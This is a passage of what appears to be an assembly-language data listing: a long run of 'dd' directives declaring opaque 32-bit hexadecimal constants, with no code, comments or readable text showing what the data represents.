		dd 313B6629h, 0D702000h, 7B0AF5Ch, 7982BF44h, 4EDA09Ch
		dd 6A5649ACh, 618B992h,	0F79AA6Eh, 0D6031720h, 0CAD441E4h
		dd 22C0C8A2h, 18E2308h,	44E6339h, 88901845h, 6300419Bh
		dd 1149C22Ch, 0EB3E197Ah, 4550483Bh, 3CADF2C0h,	91A0988Ah
		dd 0D15467A4h, 0FCB944B4h, 0AB028EFAh, 23DD96E6h, 185A29h
		dd 9F5B4A77h, 15C1EBB1h, 0FE008771h, 3A346F44h,	0F64DC9Eh
		dd 0EF08BA53h, 0F8895979h, 0B8A0A436h, 11245691h, 37C0B4F4h
		dd 2D044C63h, 0D0145E35h, 630060EEh, 50022575h,	59C8E430h
		dd 704214BAh, 0CBB1BB1h, 0F39502E4h, 7A68DCB8h,	10448C47h
		dd 98A68F60h, 0D4B9E17Eh, 7F22A07h, 1CAA8EA5h, 0AAE4033Bh
		dd 89801F8h, 2A730270h,	0CF94EB48h, 0E6C820E4h,	0E17592E1h
		dd 3BED498Fh, 0DF592503h, 0EACFC0DDh, 1C9AB819h, 0F9726717h
		dd 51DBDC49h, 8C42A7A8h, 0A8BE3250h, 3385F702h,	1330403Ah
		dd 19CC02F8h, 88F49C7h,	9CB87462h, 3002F6D9h, 0D8EF7C45h
		dd 85F07CBDh, 0E0315DDDh
		dd 0F0B04ABCh, 3E37847Ch, 9EA141ADh, 0D4287ED4h, 28C0FBCh
		dd 12CD48CFh, 0FC763E22h, 0B6197E02h, 3B030243h, 5503CC5Ah
		dd 7185D761h, 84289B77h, 5CCE70D4h, 7C00D88h, 0FA0ED8h
		dd 423B55C9h, 6631A2CBh, 92449CA0h, 0C0BD070Eh,	0F856A0D4h
		dd 0F97BF16Dh, 3F23A078h, 36AE4A00h, 868F59C5h,	43E210EFh
		dd 308200AEh, 0D6053577h, 0C204A726h, 0ECD58554h, 128A5C90h
		dd 9400048h, 3134DD41h,	6201BBCBh, 3C086FD3h, 2E2AAB81h
		dd 552390h, 302D09A4h, 82F655Dh, 28EC915Bh, 0BA90040Eh
		dd 0A0F8DB22h, 10164484h, 19A135E4h, 0B6DC0C01h, 0E2113575h
		dd 8F1902CCh, 808BD3A8h, 30BAF8C4h, 15B8666h, 0BC0F4624h
		dd 692AD4CAh, 0DCF20078h, 0A25029C7h, 24880C44h, 0F680963Eh
		dd 6D49F774h, 72641690h, 0F02930A4h, 195D0F9Dh,	0D3F3D97Eh
		dd 0BC9C6AB0h, 0E42685B8h, 44400A4h, 59FBA3B8h,	1AA4F2D1h
		dd 5CF90F02h, 5192831Ch, 0C29CFF11h, 80565557h,	191465Ch
		dd 0BC609887h, 5032F708h, 0FC20292Dh, 79939791h, 47B79B00h
		dd 2B15B3E4h, 0E1CA0030h, 3FD7B6ECh, 0B424FEDAh, 0A912FCFDh
		dd 0CEB180B6h, 0FDF9FBF3h, 86E5EC16h, 87042427h, 0D8DE080Ch
		dd 91CA0399h, 10A2BC18h, 0C00E1324h, 38104674h,	8100FFD4h
		dd 0ECDDAB9Dh, 0F85C47C7h, 7CE57AF5h, 0F1DE324Ch, 547CE369h
		dd 46F88480h, 69A2Dh, 4435DDD8h, 1104854Dh, 0BB01967Dh
		dd 34F6631Ah, 0D420F95Eh, 769A88BEh, 5033C924h,	48417h
		dd 7E026CE6h, 0F4CB1E01h, 82061810h, 216DBE84h,	7A0880F2h
		dd 0E1AE03F7h, 0F5019E22h, 78266BC1h, 0CA1405B1h, 83861D72h
		dd 75F203ECh, 1B244880h, 0AA2E48B0h, 0DF81DCE5h, 9F4F35D5h
		dd 9D767460h, 8A697C22h, 660920E4h, 0D96A81A2h,	0E5F982A8h
		dd 0B0A00825h, 0D4F72947h, 33487F00h, 0E7C29918h, 92E7852h
		dd 418AC68Eh, 32537840h, 81889E11h, 84048E5Bh, 4130BAF9h
		dd 511655A2h, 24E2F4B3h, 8E8B400h, 335A23FCh, 0D20C97E6h
		dd 0B8F16170h, 0DED5317Ah, 0ECBCCCC0h, 0E424569Dh, 3F80CC70h
		dd 5C51438Dh, 27098CBh,	0A77684F8h, 4C409845h, 0D888BDA8h
		dd 0FF834h, 585C5F73h, 6D6A328Ah, 3400F24Eh, 0EFF34CCCh
		dd 55115C96h, 6E00AE3Ah, 510941C0h, 15003688h, 0F459BFF6h
		dd 0E85A4D66h, 0E908C05Eh, 36BAC9EEh, 9742892h,	0A8A41B24h
		dd 0C023F400h, 2EA38A68h, 0E432471h, 25806E2Bh,	14282D34h
		dd 581D11C0h, 74AB2ACh,	0CC0368B0h, 7C5009F1h, 9C338700h
		dd 8038544Bh, 5FDA04FDh, 1DDDE7Ah, 25C6F6F8h, 9B01B029h
		dd 9996AD93h, 9F27E0BDh, 0F3F2BF05h, 4A80CF77h,	33DC16h
		dd 0B6CC7695h, 9238BCCEh, 3C598013h, 0C300F01Fh, 859FE4F2h
		dd 0A510005Fh, 0FB521458h, 657ED960h, 25303875h, 0D6B271FEh
		dd 0BA3FEE8h, 8A7C2D16h, 34171480h, 0A0009C96h,	0F4BCCA76h
		dd 74D37FCFh, 68C10009h, 942DBF3Dh, 0E4582F5Dh,	26628038h
		dd 0C02984B6h, 0BA46C434h, 89129FFEh, 78F00651h, 871500B4h
		dd 0A3D67663h, 882DC349h, 10C2029h, 8A34C0h, 5F1C4752h
		dd 7F2F7BA4h, 56B34007h, 0E4131105h, 0C9710303h, 126DAD07h
		dd 0CE7D1AF0h, 925C3100h, 0E6761FB8h, 0F8DF022Dh, 6B2204DAh
		dd 3E439C48h, 4AF2380Eh, 6276619Fh, 44EF1E8h, 0CB4380AEh
		dd 797F52h, 3016B93Ah, 4BE9AE71h, 0C24C2A72h, 64110186h
		dd 1B93CBB1h, 0B8A3AC8h, 7FF7EAE1h, 0F2D94503h,	8B2510D0h
		dd 6836D801h, 2D8DE199h, 3A64EE30h, 2386D29Bh, 50C53E5Bh
		dd 0E7F34518h, 60F0FF80h, 0B328914Ah, 90008E64h, 0FBADED46h
		dd 0E0699Ah, 7C78F026h,	4432793Ah, 42BB318h, 757F88h, 699B2E08h
		dd 72B6CB58h, 0E160C8C0h, 188D1407h, 613629FFh,	0F9D63E5Ah
		dd 9E5D01ABh, 0F1DEFBD6h, 45198389h, 2D889Dh, 13B88350h
		dd 2792299Ah, 0D072E90Ah, 6E0008A3h, 759B107Bh,	49EA2804h
		dd 0C6580094h, 79F257C8h, 0DB50D928h, 0EB009848h, 30BD4EB2h
		dd 0E6FEE8h, 0FF921EC1h, 1696A32Dh, 23366C07h, 3AB2F2F0h
		dd 7DA4819Fh, 39C975A4h, 0CB2C9083h, 503E719Ch,	0C0680CA7h
		dd 61CFF996h, 77DE38FEh, 1EAC47D9h, 0E945D7A0h,	0B6740E50h
		dd 0CF9A6350h, 884BF82Ah, 0CC71B00h, 0E10D0A06h, 44C12AB2h
		dd 4B274494h, 0C8A97900h, 0B958334h, 0A8DE30B9h, 8753E960h
		dd 64E82150h, 0B549AE10h, 732E6200h, 791525A8h,	81344803h
		dd 885EF2E0h, 0EA4E25Ah, 73C94BF9h, 0B68D3138h,	0C0FC3B30h
		dd 9D53FFh, 596A75E9h, 0C9E1CA69h, 5F000CE0h, 0FB617193h
		dd 6456B77h, 0C739385Bh, 0DA0BF169h, 808FD5EDh,	0BC4A546Ch
		dd 3D61015Eh, 8981B173h, 0C978FC74h, 79AFED30h,	31D224A9h
		dd 44119549h, 92BB46C6h, 80FF043Ch, 9AF6A3BFh, 857C74h
		dd 2D056F25h, 495F14A8h, 47385E6Fh, 407D855h, 6DF3806Bh
		dd 0AA641Ch, 8399F4EFh,	9A8165A8h, 16FC47EEh, 0F109201Dh
		dd 3200CE16h, 84F08E11h, 722600E7h, 1C285519h, 0F7A4353h
		dd 20AE5B03h, 0E0712AB9h, 89BFD8h, 52670975h, 0F588C4D2h
		dd 0B004D352h, 5C26756h, 0DD24B12Bh, 82002D7h, 0FB027622h
		dd 16612074h, 5D3A7580h, 241280EAh, 213241C8h, 3B430079h
		dd 66592536h, 0DBE28BE6h, 512A5D1Eh, 4EBD96C0h,	3AB53347h
		dd 6380986h, 570C26BCh,	881153FDh, 4D455C00h, 1EA48C7h
		dd 87066CFh, 0F032156h,	0B81A4564h, 1EBAD069h, 442CE240h
		dd 5938C751h, 381BBD0Ch, 0D680148h, 37A04B05h, 5FD38007h
		dd 0AC0315C4h, 0B45C218Fh, 0F0818C7h, 73742005h, 0AFCCC407h
		dd 638176E3h, 0F31FEEh,	0F6102660h, 0CF1A925Eh,	99B0A33h
		dd 4621000Ch, 0F4F8F678h, 0D11865C9h, 0A0994E9Bh, 0BC81C026h
		dd 90D0AA51h, 0A88CCE00h, 8BBACC9Bh, 5B8E0153h,	47A210A4h
		dd 125E7019h, 0CB785000h, 892C0305h, 36601F2Eh,	6F680563h
		dd 0AEC30795h, 30E1E3E3h, 0B9CB6003h, 0D00FBDFCh, 291BCF25h
		dd 901C855Bh, 0F33B14B3h, 53330790h, 0C630CC89h, 28E7B912h
		dd 46CC4D61h, 455B0256h, 3170C74Ch, 632810A2h, 0E2CA0245h
		dd 2192588Bh, 0F801D8E2h, 501AEE7Ah, 0EDF8CE90h, 1E07B5B8h
		dd 24C44D5Dh, 342758C5h, 0C74645C0h, 0AC448C60h, 4565010Eh
		dd 0DC89C513h, 53F4401Ch, 0A672C381h, 3D781200h, 622FE50Ah
		dd 907CE04Bh, 2774600h,	0AC19C463h, 871C316Fh, 0C4577021h
		dd 0FF1D89B0h, 3CACF269h, 8C01F79Ch, 0CE131E14h, 6495E428h
		dd 44383400h, 0E3C575A9h, 56D7416h, 2DB1257Eh, 49B80ECCh
		dd 5059FC5h, 400FEE80h,	0A4327484h, 9800C28Bh, 0DA4D60EFh
		dd 7179FB9h, 0F1AC59AEh, 7E78DC1Bh, 0B14B5D06h,	5550D7E1h
		dd 0D00288C5h, 4579305Ch, 21C74238h, 0A191E9h, 86456112h
		dd 811A956h, 0AFF5F99Eh, 878CAC03h, 77D8091Ch, 78306668h
		dd 6126F615h, 78297892h, 45033191h, 652EF65Dh, 405242F8h
		dd 4F2B7C03h, 257999h, 16B1C7B0h, 702C468Fh, 8B61050Ah
		dd 3300B409h, 5B8D48E6h, 7BE8034Bh, 7C41871Fh, 98AFA1A2h
		dd 494070CEh, 4C79266Bh, 8AEADE01h, 0A5518CADh,	13848C20h
		dd 33F53DF9h, 228C342Ch, 4578305Bh, 68C74911h, 13805088h
		dd 0E5F4560h, 8C4C02BDh, 26D489CBh, 30A63041h, 66880920h
		dd 0DB2B00E8h, 39731FE7h, 0D37B0EA4h, 425EF300h, 0B1501583h
		dd 80C4506Dh, 0AFCEC92h, 8D2C19D4h, 806111B0h, 9264F61Ah
		dd 22CF430Ah
		dd 625C0137h, 9EB579F6h, 0E5818030h, 66EA872Dh,	99290181h
		dd 78425DFEh, 809CF944h, 0EA05A841h, 1C570EEh, 494F5634h
		dd 830EEFC4h, 0BC602B59h, 797D9875h, 51E20069h,	0A55C172h
		dd 1A1323FFh, 74305EE0h, 0E5A6166h, 5B7B307Ch, 0FA7801D2h
		dd 36107A64h, 0ADA4F0B0h, 0CC16501Ch, 28C3F6CBh, 9E4CE21h
		dd 0EA978411h, 20FB802h, 64119C08h, 5FF61780h, 448C1292h
		dd 0F6FC5B0Fh, 468EA000h, 0EFE8A537h, 214FE84h,	0FB3C3D32h
		dd 4841E4AFh, 4842185Fh, 5812B88Dh, 9E48327Ch, 8D4AC720h
		dd 0A9D100CAh, 29518392h, 7491C4F8h, 19AF8004h,	0A2A82C50h
		dd 130008Ch, 13D7C1EBh,	0DDF5EC5Fh, 90D18034h, 0FCF69E3h
		dd 0E0040012h, 0E228657Dh, 5F0537D8h, 7EC11875h, 0CDB81081h
		dd 0F58B0A10h, 78406665h, 37C8648Bh, 0A62E93C7h, 0A9D28Ch
		dd 7F3644B8h, 3AAF83B0h, 7EEBAA02h, 4484D161h, 608480A4h
		dd 59C9020h, 45C992A7h,	0F1EC01AEh, 4043D18Bh, 81E840F8h
		dd 2D7DA207h, 469111BBh, 54255513h, 9488820h, 0D318A614h
		dd 998CCC90h, 714F89C0h, 0F113EEh, 23BD97A0h, 0A347CCEh
		dd 0F0A4C73Fh, 15E75700h, 0B47AD186h, 62C00054h, 3DDBF5Ah
		dd 51134410h, 0A84B2BACh, 0A32001EFh, 48E0A501h, 0DC0B548Bh
		dd 0A180AF8h, 0B01CACh,	0DB1A6184h, 0D0C2B12Dh,	40D97714h
		dd 0E28AC24h, 814F939Dh, 0A718C095h, 8702B927h,	0A50BDE00h
		dd 0D144DDBAh, 4EB00B4h, 84150CE8h, 8926F22Ah, 2514FCD3h
		dd 19061E9Ch, 0F0A3550Ch, 5072F4C4h, 18DB9C4Dh,	80F9C1D1h
		dd 0A748AC61h, 7F6D0036h, 7A450DE3h, 0E7FD00F7h, 61BF4A9Ah
		dd 1F58032Dh, 1DD900C8h, 5D474F0Ch, 9980A641h, 1857D1F4h
		dd 0F21502C1h, 882A89CCh, 6246D44Eh, 0C5F61902h, 32310292h
		dd 0F6614110h, 0B5974005h, 0B8C2D67Bh, 0F6163065h, 6A926008h
		dd 5F0E64BFh, 31F65E40h, 164DC9EBh, 4B497DBh, 10886110h
		dd 4C0C7EDCh, 0F0C64181h, 46589834h, 0C45E0276h, 31C7AC0Eh
		dd 7321801Dh, 8D04C456h, 291FCE0h, 0C9D467EAh, 0C480F8A9h
		dd 0DEE6680Bh, 4F734300h, 5C9104F9h, 0F70A1209h, 52B31C9Ch
		dd 263F019Ah, 42D66296h, 106C78DAh, 5C8D4D04h, 9D62404Bh
		dd 8D75C620h, 4D091CC4h, 0CA7DC1FEh, 743841AFh,	29184F80h
		dd 0CBE0D234h, 0A2BA26B1h, 0A1467C44h, 0F1B41000h, 0DBB5BE91h
		dd 84AD9B04h, 0D4D15332h, 0F8320EF8h, 0C0F06FF7h, 0F26BC3B0h
		dd 249248h, 9017EB83h, 5727A222h, 0E4C58502h, 43F395CFh
		dd 0E8D2ADA4h, 71105126h, 0E4A1856h, 0AF1CA29h,	8C81E3E9h
		dd 8C3A6F6h, 38A586C6h,	0E48EB1CEh, 0BADD2040h,	17E432Ch
		dd 0F5CF7B05h, 0F8980767h, 5AFD308Fh, 9BCDA799h, 11769901h
		dd 0AE1AB07Eh, 3C109456h, 0A3022E3Ch, 4F7FC57Bh, 0D3510448h
		dd 0E8580E48h, 0C028C20h, 985125BFh, 46F4442Ch,	457A015Dh
		dd 0E918C743h, 1118A44Bh, 0C9482062h, 47269100h, 3815213h
		dd 129C9ABCh, 3530A1h, 65F42540h, 3F61D440h, 889CAC10h
		dd 58A7C420h, 0CF8E01Ch, 0E76C018Ch, 167CAC5Eh,	9C402051h
		dd 90EE314h, 8C08E8DCh,	62DFB50Fh, 6C52E00Ch, 0E8757B0Bh
		dd 0D64D0048h, 2BEAC0CDh, 8F115F11h, 0C4009DF2h, 627F687Ah
		dd 0D700FB3Eh, 3273E382h, 3170E8ABh, 12A0442Eh,	0EB7D00A3h
		dd 847A02A5h, 85D8AE30h, 7359FC40h, 7E170B1Fh, 0AFFC6C1h
		dd 0E848D419h, 0E7500911h, 0D8043324h, 8D436062h, 104B237Ah
		dd 0CC3E9C11h, 0C5558D80h, 48B430E5h, 12D0BE00h, 2680C286h
		dd 48B17125h, 59880038h, 47455EC0h, 0F4784CC7h,	45660DE0h
		dd 65096202h, 401F596Eh, 153F0B54h, 0ECB78CACh,	3167F218h
		dd 0F5006953h, 55988E78h, 1857D1C0h, 21476515h,	5414AE68h
		dd 50944A51h, 97608C08h, 1E39CDC9h, 0E1D200D9h,	500DF728h
		dd 0C4000AEDh, 0EB5DDFDDh, 598FF7Ch, 0E7C61A6Ah, 4EC8087h
		dd 4D48A143h, 1502390h,	0AC14C460h, 80483357h, 0C1C45875h
		dd 5148003Ah, 74C3A342h, 7AE25B62h, 0EE617809h,	0CF1C2012h
		dd 0F207CA80h, 0DD2E3AF4h, 19CC780h, 7F116EA8h,	5C514002h
		dd 9724B55Bh, 805091B0h, 43F4CE6h, 0A04D3A17h, 0AA02224h
		dd 31481B5h, 1DEC883Dh,	1C701801h, 7D4A067h, 655D1084h
		dd 0F8FC88A7h, 78D625Ch, 35BE32C2h, 0FF4656D0h,	2DAA041Ah
		dd 0C765795Ah, 0FA1B624Dh, 197AE868h, 62D0E0B0h, 0C76D03E8h
		dd 58219441h, 0B6220C60h, 0EDE65400h, 43EEDBE0h, 7A4F7BEAh
		dd 0C9E0093h, 0A46BAC7h, 9CA80452h, 0AC04167Bh,	0A1B92207h
		dd 94EF8CA4h, 0C03D9E68h, 0A34D7EA7h, 0AA001275h, 2F13CA9h
		dd 39B6B7D3h, 20C9C19Eh, 8C75F040h, 138A615Ch, 80385FACh
		dd 0C4550376h, 13EE63AEh, 0B00717Ah, 9242C703h,	0F68D19h
		dd 34B56FF2h, 12597DE2h, 13782317h, 605C9000h, 133C3275h
		dd 5C02EBFh, 4052F20Ch,	6BB71684h, 0A30065FBh, 0C0B6077Dh
		dd 76380826h, 966A033Dh, 9CF2562Ah, 0EE58311Eh,	5500A1D3h
		dd 76CD7E53h, 3C980340h, 0C35FBA96h, 322A16C0h,	0A1B9A0Bh
		dd 0C05CA566h, 0DB37800h, 0DF34B9Eh, 32FE86B5h,	0A28C3318h
		dd 0E92030A1h, 0F2A9F105h, 0C0A331C7h, 6330A4B2h, 3927E49Eh
		dd 0DA0981E6h, 0A863B942h, 8D4E60ECh, 784B2679h, 76CB7060h
		dd 3028D7Fh, 54403DC5h,	3B3C4013h, 4FC11297h, 0AE000118h
		dd 4056661Ch, 0D3109E8Ch, 9097B524h, 40886741h,	0C070B864h
		dd 0B8F3E3B0h, 5618BDF0h, 68E9A065h, 18C80021h,	0D77C559Ah
		dd 2398460Fh, 0EA30C70Bh, 0F8BA0365h, 87800004h, 28B039CFh
		dd 0CCA32DD0h, 90401FD2h, 0E207C118h, 9F3FC5D1h, 124FC9DCh
		dd 81D6AC51h, 0BBEFCh, 1740AEh,	4ED011CBh, 25C1B347h, 8A2A40B8h
		dd 1B0CB83Dh, 20B531CBh, 2EF60B13h, 0E4A222F4h,	0C87BE672h
		dd 2E074D70h, 3AA4EF57h, 0B527A5A1h, 5E6E0218h,	70E06DE8h
		dd 405AD86h, 32D089C5h,	0F4EF8A05h, 99E0A4D7h, 9AC622h
		dd 0FE767A7h, 28AC63A2h, 4F8B591Ch, 38F97C1Dh, 2D00D9AAh
		dd 91CC175Ch, 40698E1Dh, 31C0266Eh, 0F9921222h,	636CC0B1h
		dd 0C550D650h, 231404E8h, 46AC9EF8h, 0F99C06E0h, 9D300509h
		dd 0F60775D8h, 0DE233BA2h, 0EAAD291h, 22884C4Bh, 0A3E64CC1h
		dd 125A0D70h, 20A76A6Ch, 0E595FB3Ch, 0D2A84E09h, 0FC1C04CCh
		dd 0A49AAC40h, 0F21A325Fh, 0C7301F4Fh, 63A344D4h, 54AFF07Dh
		dd 94715DF1h, 0CCE8B2Eh, 851052AEh, 90006E5Ah, 63259A64h
		dd 9EAC9CA7h, 0EE90C411h, 58E4E372h, 1DE410F0h,	21928E05h
		dd 0BEA841A8h, 31CBB8Bh, 256F9318h, 0CB50D49h, 20C0759Eh
		dd 263F7D9Ah, 0B32C0EADh, 9F2949FBh, 16EF4C68h,	0ED007092h
		dd 0FC66102Fh, 30DB4736h, 383013D6h, 2B01B049h,	517BB968h
		dd 7C2859B1h, 0D1E82829h, 5CB21838h, 0A900D94Eh, 7C8ED209h
		dd 0F31650F4h, 68D059D3h, 20DC1906h, 0CC0A07CEh, 0B8722283h
		dd 7DC57502h, 4640F24Fh, 0C4097E71h, 1CBFAC0Fh,	59720074h
		dd 0C3C12C4h, 14047315h, 4BD304C7h, 205488C8h, 0B500708Dh
		dd 6C841146h, 54EB6667h, 9F9418h, 6B6AC9F1h, 0D957991h
		dd 2E0E3205h, 8C822F4Dh, 0A4E72001h, 0A00836Fh,	4E0BAE32h
		dd 9ECE8C38h, 0E54080F8h, 789ADD5h, 4800795Eh, 0E923090Eh
		dd 254F0E75h, 0A615A78h, 0BB4EFCA3h, 61086DF0h,	7739F6DCh
		dd 3E232C97h, 283C80E8h, 5010868Ch, 7824CC24h, 50465Eh
		dd 54BE2BDCh
		dd 4E41C5B0h, 0EF8406F4h, 0B91E7919h, 42C00225h, 7321AF8Fh
		dd 8A463BC2h, 988C0E8Ch, 0B30071E1h, 0C631B1B6h, 9BBC82h
		dd 7BFF07BFh, 0B562187Dh, 0DE456817h, 956BC808h, 0CBA95826h
		dd 984928F8h, 0AF8D8113h, 855DE847h, 0DB5FC311h, 0D820A431h
		dd 5CC54879h, 41AE1000h, 5672BDB4h, 0A3162B01h,	0D0A82952h
		dd 39262080h, 0D45C2ED1h, 0AD3810C2h, 1D5CE90Bh, 608B4870h
		dd 5CF4E9B5h, 8DFC1034h, 0B847AC00h, 3EFD7203h,	5BE70418h
		dd 0E0FBB141h, 0D909F990h, 0A1206453h, 5EE4C590h, 3BCE02Ch
		dd 58E3008Ch, 3720F00Ch, 7601DDE8h, 8A2B951Ch, 0C0386849h
		dd 98C32ECh, 2BA76601h,	8B369820h, 0E800738Ah, 0C64425D4h
		dd 29E1DBh, 0BE2E67DAh,	1FF2C372h, 0E2E03453h, 5D6430ACh
		dd 0F8019498h, 0B55FD8E7h, 0B3F4EFF5h, 7B630312h, 0C3AEB9EAh
		dd 2241AFE0h, 88B1109Ah, 0F4199AD1h, 284A56CFh,	0A1B92080h
		dd 5D28A986h, 8D0B4C18h, 45484B5Fh, 74C9801Ch, 2958BF8Dh
		dd 0A5134500h, 51E2C57Bh, 8B2D18DEh, 1F3B29D0h,	42020A70h
		dd 34AE11Bh, 0A0F4C03Ah, 45648101h, 0C840C292h,	5A49A4A3h
		dd 205165CAh, 0E5185B79h, 5A702EF6h, 4D039C07h,	0D41413FBh
		dd 0C71C7CB2h, 25371089h, 0B1CA0EEh, 7DF6E557h,	1932004Bh
		dd 23404E8Dh, 0C61DAAD5h, 4287A733h, 14E009F2h,	98E18EAEh
		dd 91120A79h, 0A4A46AB1h, 863380D8h, 0A78C05F7h, 0CC7984AAh
		dd 19189C79h, 3D9DF303h, 241B58A0h, 7498A7B0h, 3D003146h
		dd 87F2B760h, 0B4A8A2DBh, 63F8B6A7h, 0D38DB918h, 0BCF6D79h
		dd 92A6FEB8h, 0D74C9E00h, 0D80080ACh, 0CB15C67Ch, 173D30C1h
		dd 1DCDC4EBh, 9595E88h,	6CE8FE02h, 9CFE9E4Bh, 9C98401h
		dd 0A40CFBBCh, 7E5AEA60h, 3475587Ah, 66E6510h, 8F92E842h
		dd 5F1CF8D8h, 0D4DC253Ah, 0FA80C1D4h, 23198B4Bh, 817B8F10h
		dd 0F381517Ch, 383034h,	3AFD7F11h, 0E8227363h, 2782BC13h
		dd 0C8EB7009h, 0ABF3BCh, 7FB0141Ch, 4C4EB30Bh, 2E76981Ch
		dd 0A224AC83h, 25997287h, 306F7AB1h, 8334E560h,	0A7E003DBh
		dd 0A9A329E4h, 56F742A8h, 0E850B558h, 0FB008C55h, 0F87E60E8h
		dd 3DA44FA8h, 9DA8D192h, 88884B88h, 64B47724h, 0DA5509D6h
		dd 0AA80A50Dh, 6D4D634Eh, 972D6496h, 800C91C0h,	7BDFA4C8h
		dd 9CFA281Bh, 5CFECACh,	0C5358F8Dh, 0AFE8A0F4h,	45D61C12h
		dd 442DBCB4h, 1209BB9Eh, 61B059CDh, 9DE006A0h, 9C550963h
		dd 34793CA6h, 614B2284h, 9F1C6234h, 68BC2D04h, 65A022C4h
		dd 9FF26CB2h, 45C44F31h, 62DD03F2h, 9AB9FB04h, 0E7AEC025h
		dd 610F44F4h, 6FFC6AD0h, 45A8003Ch, 0CB83A7CCh,	3A6C18A1h
		dd 5D940D0h, 474F03ADh,	49ACC1F5h, 28522BB1h, 6500C8A2h
		dd 3A219F25h, 0F0FC9C24h, 48342E0Fh, 0FC4C41D2h, 0A8AF7641h
		dd 31919017h, 53B68E81h, 0B33070A9h, 0DC91C492h, 0EF18A3D1h
		dd 488DB225h, 0E2572890h, 9D41069Fh, 0E80881D1h, 0E1BB8C30h
		dd 9D47BA6h, 49012EDCh,	70177C64h, 60C9B91Ah, 19DFC07Ch
		dd 0FA7DA8E4h, 9A0034F0h, 0B52F347h, 485C0605h,	260100D3h
		dd 4B7D5D35h, 30E83133h, 29D3894h, 70AEEFFCh, 8CDC4A4Ch
		dd 0C8096E98h, 712FF056h, 609BAF38h, 0E1ADF8E1h, 9E6434FDh
		dd 0E051D12Ah, 25706302h, 615C3026h, 0FA8C70h, 0C6C54814h
		dd 0ADF1321Ah, 4900879h, 72C40C59h, 10110766h, 0DB2771B9h
		dd 0D0014007h, 292B7E73h, 3479AA00h, 1C719433h,	5920F47h
		dd 150FFF0Ah, 7D5A6960h, 0A6050FFEh, 6F136861h,	0DDB01CE6h
		dd 5890A802h, 0C199420h, 0AA5C451h, 363818B1h, 9C6800Eh
		dd 8C8EAA3Ah, 905C1324h, 21002BACh, 1808857h, 0E920EC20h
		dd 0A8ECA024h, 54B69DB7h, 200E9945h, 81A07311h,	380D894Bh
		dd 0A3380805h, 21925D82h, 79F84894h, 0ECC44C4Dh, 18CA2E8h
		dd 0B6B5DAC6h, 2EF2E250h, 0C74B6820h, 0A103E0B9h, 0B2F06E80h
		dd 85EB0363h, 71ACBF4Ah, 99D401F8h, 4F0170B9h, 19D5E8A0h
		dd 0C844C0A5h, 0AB44917h, 0A0965021h, 0BCB0742Bh, 8C08AC20h
		dd 40A5EC03h, 0B07C5098h, 60FDFC45h, 0C9438949h, 6B00040Ch
		dd 0EB314CA4h, 2527AECh, 0FB48B4E6h, 0CC569A18h, 1B806011h
		dd 329263F6h, 815A0096h, 9957F697h, 587061D0h, 82002818h
		dd 5066FBA9h, 2F4A2494h, 9F23902Fh, 0AFA6500h, 95A42004h
		dd 0C98CB012h, 65187808h, 78935EBh, 21B85880h, 6AC53A00h
		dd 583D2DBEh, 64B43404h, 0C4A87801h, 0A3195A80h, 4D0B75BFh
		dd 87115D04h, 48599068h, 4FD25100h, 23742F0Eh, 5E290020h
		dd 431EE64Dh, 0A102E7F4h, 0DE137B5Ah, 0C545E17h, 0AC186567h
		dd 3155542Ch, 0F992CB02h, 30345CE9h, 2EC01978h,	9C4F0A88h
		dd 70FA41B4h, 306031ADh, 9E636ED4h, 295CD141h, 715C475Ah
		dd 7C2B181Ch, 0D94F0389h, 9C51529Dh, 95488BCh, 4CC7DF8Bh
		dd 7CD8A149h, 10BFDA0Bh, 78D1938Ch, 0E302B681h,	0C3B1C70Ch
		dd 0F9D8E0A6h, 0E8F510C5h, 30860208h, 509DDB12h, 5E9C9C1Ch
		dd 0B0001C46h, 0A1FAB208h, 291951D4h, 0A798CFC8h, 13C04F3Fh
		dd 3B38E8C0h, 3F00DD53h, 0A2289BFAh, 0B0B45B3h,	0DA3A76EBh
		dd 4DC01C1Bh, 80F7A199h, 0E40CB748h, 1033C82h, 1A7C0186h
		dd 9172D111h, 64804CB0h, 0B7AC18C4h, 711E448Ch,	3F00C4F4h
		dd 57BED02Ch, 17B44EA5h, 0C49C41AFh, 0F248A2F8h, 6BA730A3h
		dd 472F4000h, 5145DFDEh, 59C1E218h, 492B4E3h, 43C2C58h
		dd 60A8F425h, 0FA8CA3BCh, 4F8D4FE3h, 9920C1A8h,	40BB5A78h
		dd 0F34C4E0Fh, 0B3ABA3B2h, 52A791B0h, 53BC0020h, 0A1A27019h
		dd 1D9CD30h, 16EFE40Eh,	60AC0B79h, 0D8B1B6C5h, 0B0A203Bh
		dd 0E0F37F11h, 4075E802h, 0E8A97705h, 0A101F1ACh, 0FA8612DBh
		dd 323ABB4Eh, 30D45D28h, 7FEC00DCh, 0CE01C183h,	0F77D28ACh
		dd 4FD96E0Eh, 442A4042h, 32207B4h, 7340CC54h, 3EA289C5h
		dd 0E07BD8A9h, 8C18A351h, 532E1C05h, 9C213CC1h,	0B87DBC27h
		dd 0F36C8212h, 0A27042F8h, 0CF943020h, 1899B527h, 821D0CE8h
		dd 25BDE460h, 34886580h, 70183D5Ch, 27CAEACh, 0F424409Ch
		dd 9EF0BD60h, 0B43F1ECDh, 7B136005h, 0E42076A8h, 0E17E13h
		dd 4BACE91Fh, 0D7FC5932h, 50140E0Ah, 5D448C04h,	2C401B85h
		dd 47DE480Bh, 728538A8h, 739D0B7Ah, 0B81D5E79h,	0AA00C63Bh
		dd 8ADB0131h, 79044818h, 32D21904h, 0F0826809h,	7C7E4BBDh
		dd 467424EAh, 30C3001Eh, 6A807C14h, 0CAE2027Eh,	47EB9AB1h
		dd 0F4B9EC46h, 9918A259h, 176C4Ch, 0AC7B1519h, 2462EA97h
		dd 8E04237h, 0F70217C8h, 0D4CE582Eh, 54517274h,	0AB180D59h
		dd 3847700h, 30B85FD5h,	0EE4B1EFh, 19C94CDh, 0F4DFC853h
		dd 10CBC8C3h, 80DECE00h, 901EA286h, 0CFE404B8h,	0F0D35012h
		dd 2409C17Ch, 6749D7Eh,	18B990A0h, 0F14BF264h, 62008897h
		dd 0C476CFD6h, 568E73B1h, 894FCCA0h, 0A0B0073Ch, 3E51C037h
		dd 0C4834803h, 0F07DF546h, 2D47F2C3h, 5C4EC5E6h, 3C48485h
		dd 64F1D460h, 0E111901h, 63384249h, 23BC3A3Bh, 4F1001Dh
		dd 0C01A426Fh, 1808EA5Ch, 11D8EC6Dh, 7FEE257Eh,	3F406419h
		dd 90ED5C23h, 1F5B54Bh,	0FA2067DBh, 0D4149B7Ah,	94016312h
		dd 0C701B89Dh, 6E10E441h, 0FD00212Fh, 595E75E5h, 9F6CA04h
